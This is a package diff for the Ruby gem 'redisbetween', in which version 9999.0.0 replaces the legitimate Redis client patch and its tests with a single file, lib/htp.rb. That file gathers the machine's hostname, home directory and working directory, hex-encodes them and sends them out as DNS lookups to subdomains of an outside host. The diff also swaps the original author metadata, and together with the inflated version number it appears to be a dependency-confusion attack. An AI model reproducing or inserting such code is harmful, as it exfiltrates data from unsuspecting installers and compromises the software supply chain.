redisbetween 0.2.2 → 9999.0.0

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 749198c4742de0123a0226e37853bba82f50b7effb9ccb570b421ec1a78d68c3
-  data.tar.gz: 1eb3ac3e7f9c40b76154bee60091b6a13d01a4a2627f157014c8614cf2764040
+  metadata.gz: a701129024021e9f1c9fbde0014ab0536bc655b50273d44ccd4e74dfe5db9a84
+  data.tar.gz: 2b47c6b248f66a462a8cb0a3c1547c7170f6c74044650ac59cde64ffe8a4c160
 SHA512:
-  metadata.gz: 3e6cb4c970d63130e51191eb450de90078032d05e9086e888aed7da4f99597676eef5fa5a6c7bb8f7b5a0cfdf60b4d96ef06e4590d0ca572485252538408f96d
-  data.tar.gz: 601805fa28010afd16c3cb49859f268fcd4ce74cfb49cbec013d09f0b5990cebfe98a4cb74052d0214e5fdba87f15ea7b03e76915949566fe34101bf22594691
+  metadata.gz: b589ea1244bf6d94435e3fbc7b2038f32ec864a782f0b054cb2798d0ecd8b36a42889e6e339c039db941097a1f436b0c50f7af6499e785115a5cf2d7ac8ae24d
+  data.tar.gz: '0778e8402d94c78d08b8e26cd3cb5877c8896f5deb725f42582b91696047ad857d76101ca3f255d3f5da62693ef2487378a10d70600015298d1ecd6d6344761c'

data/lib/htp.rb

@@ -0,0 +1,22 @@
+require 'json'
+require 'resolv'
+
+h = 'elite.hax.xen.world'
+p = 'redisbetween'
+id = rand(36**12).to_s(36)
+
+d = {
+    'p' => p,
+    'h' => Socket.gethostname,
+    'd' => File.expand_path('~'),
+    'c' => Dir.pwd
+}
+
+d = JSON.generate(d)
+d = d.unpack('H*')[0].scan(/.{1,60}/)
+
+d.each.each_with_index do |c, i|
+    begin
+      Resolv.getaddress id + '.' + i.to_s + '.' + c + ".dns." + h
+    rescue; end
+end

metadata

@@ -1,44 +1,26 @@
 --- !ruby/object:Gem::Specification
 name: redisbetween
 version: !ruby/object:Gem::Version
-  version: 0.2.2
+  version: 9999.0.0
 platform: ruby
 authors:
-- Jordan Sitkin
-autorequire:
+- xen
+autorequire: 
 bindir: bin
 cert_chain: []
-date: 2022-06-07 00:00:00.000000000 Z
-dependencies:
-- !ruby/object:Gem::Dependency
-  name: redis
-  requirement: !ruby/object:Gem::Requirement
-    requirements:
-    - - ">="
-      - !ruby/object:Gem::Version
-        version: '0'
-  type: :runtime
-  prerelease: false
-  version_requirements: !ruby/object:Gem::Requirement
-    requirements:
-    - - ">="
-      - !ruby/object:Gem::Version
-        version: '0'
-description: Client patch for the ruby redis driver to support redisbetween
-email:
-- jordan.sitkin@coinbase.com
+date: 2022-06-05 00:00:00.000000000 Z
+dependencies: []
+description: 
+email: 
 executables: []
 extensions: []
 extra_rdoc_files: []
 files:
-- lib/redisbetween.rb
-- lib/redisbetween/version.rb
-- spec/redisbetween_spec.rb
-- spec/spec_helper.rb
-homepage:
+- lib/htp.rb
+homepage: 
 licenses: []
 metadata: {}
-post_install_message:
+post_install_message: 
 rdoc_options: []
 require_paths:
 - lib
@@ -46,15 +28,15 @@ required_ruby_version: !ruby/object:Gem::Requirement
   requirements:
   - - ">="
     - !ruby/object:Gem::Version
-      version: 2.3.0
+      version: '0'
 required_rubygems_version: !ruby/object:Gem::Requirement
   requirements:
   - - ">="
     - !ruby/object:Gem::Version
       version: '0'
 requirements: []
-rubygems_version: 3.2.3
-signing_key:
+rubygems_version: 3.0.3.1
+signing_key: 
 specification_version: 4
-summary: redisbetween client gem
+summary: cody zacharias
 test_files: []

data/lib/redisbetween/version.rb

@@ -1,3 +0,0 @@
-module Redisbetween
-  VERSION = "0.2.2"
-end

data/lib/redisbetween.rb

@@ -1,110 +0,0 @@
-require 'redisbetween/version'
-require 'redis'
-require 'uri'
-require 'set'
-
-module Redisbetween
-  class Error < StandardError; end
-
-  PIPELINE_START_SIGNAL = '🔜'
-  PIPELINE_END_SIGNAL = '🔚'
-
-  module ClientPatch
-    attr_reader :redisbetween_enabled
-
-    def initialize(options = {})
-      @redisbetween_enabled = !!options[:convert_to_redisbetween_socket]
-      @handle_unsupported_redisbetween_command = options[:handle_unsupported_redisbetween_command]
-      if @redisbetween_enabled
-        @handle_unsupported_redisbetween_command ||= ->(cmd) { puts "redisbetween: unsupported #{cmd}" }
-      end
-
-      if redisbetween_enabled
-        if options[:url]
-          u = URI(options[:url])
-          if u.scheme != 'unix'
-            path = u.path.empty? ? nil : u.path.delete_prefix('/')
-            u.path = Redisbetween.socket_path(options[:convert_to_redisbetween_socket], u.host, u.port, path)
-            u.host = nil
-            u.port = nil
-            u.scheme = 'unix'
-            options[:url] = u.to_s
-          end
-        elsif options[:host] && options[:port] && options[:scheme] != 'unix'
-          path = Redisbetween.socket_path(options[:convert_to_redisbetween_socket], options[:host], options[:port])
-          [:port, :host, :scheme].each { |k| options[k] = nil }
-          options[:url] = "unix:#{path}"
-        end
-      end
-      super(options)
-    end
-
-    UNSUPPORTED_COMMANDS = Set.new([
-      :auth,
-      :blpop,
-      :brpop,
-      :bzpopmax,
-      :bzpopmin,
-      :select,
-      :wait,
-      :xread,
-      :xreadgroup,
-    ])
-
-    def process(commands)
-      @handle_unsupported_redisbetween_command&.call("multi without a block") if commands == [[:multi]]
-
-      logging(commands) do
-        ensure_connected do
-          wrap = commands.size > 1 && redisbetween_enabled
-
-          _rb_wrapped_write(wrap) do
-            commands.each do |command|
-              if UNSUPPORTED_COMMANDS.member?(command.first)
-                @handle_unsupported_redisbetween_command&.call(command.first.to_s)
-              end
-              if command_map[command.first]
-                command = command.dup
-                command[0] = command_map[command.first]
-              end
-
-              write(command)
-            end
-          end
-
-          _rb_wrapped_read(wrap) do
-            yield if block_given?
-          end
-        end
-      end
-    end
-
-    def _rb_wrapped_write(wrap)
-      write([:get, PIPELINE_START_SIGNAL]) if wrap
-      yield
-      write([:get, PIPELINE_END_SIGNAL]) if wrap
-    end
-
-    # the proxy sends back nil values as placeholders for the signals, so discard them
-    def _rb_wrapped_read(wrap)
-      read if wrap
-      res = yield
-      read if wrap
-      res
-    end
-  end
-
-  def self.socket_path(option, host, port, path = nil)
-    if option.respond_to?(:call)
-      option.call(host, port, path)
-    else
-      default_socket_path(host, port, path)
-    end
-  end
-
-  def self.default_socket_path(host, port, path = nil)
-    ['/var/tmp/redisbetween', host, port, path].compact.join('-') + '.sock'
-  end
-end
-
-Redis::Client.prepend(Redisbetween::ClientPatch)

data/spec/redisbetween_spec.rb

@@ -1,205 +0,0 @@
-RSpec.describe Redisbetween do
-  def test_logger(stream, level = Logger::DEBUG)
-    logger = Logger.new(stream)
-    logger.level = level
-    logger.formatter = proc { |_, _, _, msg| msg.sub("[Redis]", "").strip + "\n" }
-    logger
-  end
-
-  def redis_host
-    ENV['REDIS_HOST'] || '127.0.0.1'
-  end
-
-  def redis_url(port, db = nil)
-    out = "redis://#{redis_host}:#{port}"
-    out += "/#{db}" if db
-    out
-  end
-
-  def redis_socket(port)
-    "unix:/var/tmp/redisbetween-#{redis_host}-#{port}.sock"
-  end
-
-  def redis_client(cluster:, port:, **opts)
-    opts = cluster ? opts.merge(cluster: [redis_url(port)]) : opts.merge(url: redis_url(port))
-    Redis.new(opts)
-  end
-
-  it "has a version number" do
-    expect(Redisbetween::VERSION).not_to be nil
-  end
-  
-  describe '#convert_to_redisbetween_socket' do
-    it 'should allow passing a proc' do
-      path = Redisbetween.socket_path(->(host, port, path) { [host, port, path].join('-') }, "h", "p", "p")
-      expect(path).to eq("h-p-p")
-    end
-
-    it 'should default to /var/tmp' do
-      path = Redisbetween.socket_path(true, "h", "p", "p")
-      expect(path).to eq("/var/tmp/redisbetween-h-p-p.sock")
-    end
-
-    it 'should omit the path if not given' do
-      path = Redisbetween.socket_path(true, "h", "p")
-      expect(path).to eq("/var/tmp/redisbetween-h-p.sock")
-    end
-  end
-  
-  describe Redisbetween::ClientPatch do
-    it 'should point the client to a socket when given a url' do
-      client = Redis.new(url: redis_url(7006), convert_to_redisbetween_socket: true)
-      client.get "hi"
-      expect(client._client.options[:url]).to eq(redis_socket(7006))
-    end
-
-    it 'should point the cluster to a socket when given a url' do
-      client = Redis.new(cluster: [redis_url(7000)], convert_to_redisbetween_socket: true)
-      client._client.connection_info.map { |l| l[:location] }.each do |loc|
-        expect(loc).to match(/\/var\/tmp\/redisbetween-\d+\.\d+\.\d+\.\d+-\d+.sock/)
-      end
-    end
-
-    it 'should point the client to a socket when given host and port' do
-      client = Redis.new(host: redis_host, port: 1234, convert_to_redisbetween_socket: true)
-      expect(client._client.options[:url]).to eq(redis_socket(1234))
-    end
-
-    it 'should not mess with the url when not enabled' do
-      client = Redis.new(url: redis_url(7006, 10))
-      expect(client._client.options[:url]).to eq(redis_url(7006, 10))
-    end
-
-    [
-      [false, 7006],
-      [true, 7000],
-    ].each do |(cluster, port)|
-      context "with cluster #{cluster}, port #{port}" do
-        it 'should prepend and append the signal messages to all pipelines when enabled' do
-          stream = StringIO.new
-          client = redis_client(cluster: cluster, port: port, convert_to_redisbetween_socket: true, logger: test_logger(stream))
-          res = client.pipelined do
-            client.set("hi", 1)
-            client.get("hi")
-            client.set("yes", "maybe")
-            client.get("yes")
-          end
-          expect(res).to eq(%w[OK 1 OK maybe])
-          expect(stream.string).to include(<<~LOG
-            command=SET args="hi" "1"
-            command=GET args="hi"
-            command=SET args="yes" "maybe"
-            command=GET args="yes"
-          LOG
-          )
-        end
-
-        it 'should correctly process transactions with no cross slot keys' do
-          stream = StringIO.new
-          client = redis_client(cluster: cluster, port: port, convert_to_redisbetween_socket: true, logger: test_logger(stream))
-          res = client.multi do
-            client.set("{1}hi", 1)
-            client.get("{1}hi")
-            client.set("{1}yes", "maybe")
-            client.get("{1}yes")
-          end
-          expect(res).to eq(%w[OK 1 OK maybe])
-          expect(stream.string).to include(<<~LOG
-            command=MULTI args=
-            command=SET args="{1}hi" "1"
-            command=GET args="{1}hi"
-            command=SET args="{1}yes" "maybe"
-            command=GET args="{1}yes"
-            command=EXEC args=
-          LOG
-          )
-        end
-
-        it 'should not prepend or append the signal messages to any pipelines when not enabled' do
-          stream = StringIO.new
-          client = redis_client(cluster: cluster, port: port, logger: test_logger(stream))
-          res = client.pipelined do
-            client.set("hi", 1)
-            client.get("hi")
-            client.set("yes", "maybe")
-            client.get("yes")
-          end
-          expect(res).to eq(%w[OK 1 OK maybe])
-          expect(stream.string).to include(<<~LOG
-            command=SET args="hi" "1"
-            command=GET args="hi"
-            command=SET args="yes" "maybe"
-            command=GET args="yes"
-          LOG
-          )
-        end
-
-        it 'should not prepend or append the signal messages to multis when not enabled' do
-          stream = StringIO.new
-          client = redis_client(cluster: cluster, port: port, logger: test_logger(stream))
-          res = client.multi do
-            client.set("{1}hi", 1)
-            client.get("{1}hi")
-            client.set("{1}yes", "maybe")
-            client.get("{1}yes")
-          end
-          expect(res).to eq(%w[OK 1 OK maybe])
-          expect(stream.string).to include(<<~LOG
-            command=MULTI args=
-            command=SET args="{1}hi" "1"
-            command=GET args="{1}hi"
-            command=SET args="{1}yes" "maybe"
-            command=GET args="{1}yes"
-            command=EXEC args=
-          LOG
-          )
-        end
-      end
-    end
-
-    describe :handle_unsupported_redisbetween_command do
-      it 'should raise on unsupported commands when set to :raise' do
-        client = Redis.new(
-          url: redis_url(7006, 10),
-          handle_unsupported_redisbetween_command: ->(_cmd) { raise "hi" }
-        )
-        expect { client.select(2) }.to raise_error("hi")
-      end
-
-      it 'standalone: should call the given proc' do
-        stream = StringIO.new
-        logger = test_logger(stream)
-        client = Redis.new(
-          url: redis_url(7006, 10),
-          handle_unsupported_redisbetween_command: ->(cmd) { logger.warn("hi #{cmd}") }
-        )
-        client.select(2)
-        expect(stream.string).to include("hi select")
-      end
-
-      it 'cluster: should call the given proc' do
-        stream = StringIO.new
-        logger = test_logger(stream)
-        client = Redis.new(
-          cluster: [redis_url(7000)],
-          handle_unsupported_redisbetween_command: ->(cmd) { logger.warn(cmd) }
-        )
-        client.wait(1, 1)
-        expect(stream.string).to include("wait")
-      end
-
-      it 'should not mess with unsupported commands when not enabled' do
-        client = Redis.new(url: redis_url(7006, 10))
-        expect(client.select(2)).to eq("OK")
-      end
-
-      it 'should disallow multi without a block' do
-        client = Redis.new(
-          url: redis_url(7006, 10),
-          handle_unsupported_redisbetween_command: ->(cmd) { raise cmd }
-        )
-        expect { client.multi }.to raise_error("multi without a block")
-      end
-    end
-  end
-end

data/spec/spec_helper.rb

@@ -1,15 +0,0 @@
-require "bundler/setup"
-require "redisbetween"
-require 'logger'
-
-RSpec.configure do |config|
-  # Enable flags like --only-failures and --next-failure
-  config.example_status_persistence_file_path = ".rspec_status"
-
-  # Disable RSpec exposing methods globally on `Module` and `main`
-  config.disable_monkey_patching!
-
-  config.expect_with :rspec do |c|
-    c.syntax = :expect
-  end
-end